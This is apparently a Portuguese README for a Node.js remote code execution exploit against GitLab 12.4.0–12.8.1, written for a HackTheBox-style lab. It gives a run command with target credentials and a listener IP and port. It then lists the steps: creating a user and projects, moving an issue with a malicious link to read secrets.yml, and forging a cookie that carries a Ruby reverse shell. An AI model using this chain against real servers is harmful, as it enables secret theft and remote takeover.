GitLab v12.4.0-12.8.1 RCE
Baseado inteiramente em https://github.com/dotPY-hax/gitlab_RCE, que não funcionou para mim e a parte de análise HTML parecia complicada, então eu reescrevi em JS.
Uso
Inicie um handler de reverse shell da maneira usual, então execute este script com:
TARGET_URI="https://target" TARGET_EMAIL_DOMAIN="laboratory.htb" \
TARGET_USER="test" TARGET_PASSWORD="Test pass 123" \
LOCAL_IP="10.10.14.142" LOCAL_PORT="44044" \
node gitlab_rce.js
Um proxy pode ser especificado com TUNNEL_HOST="127.0.0.1" TUNNEL_PORT="8080".
Burp é particularmente útil para depuração com isso.
O que isso faz
- verifica se o alvo está ativo
- se o usuário fornecido existe, pule para 5
- procura por um nome de usuário que ainda não exista
- cria esse usuário
- tenta fazer login
- cria dois projetos vazios
- cria um novo ticket de issue com um link malicioso em seu corpo no primeiro projeto
- move o novo ticket para o outro projeto, fazendo com que o GitLab reescreva nosso link malicioso e copie o arquivo apontado para o diretório de uploads
- busca o arquivo alvo, neste caso queremos o secrets.yml para o secret_key_base
- usa o secret_key_base para criar um cookie malicioso com nosso shell Ruby e o passa para o GitLab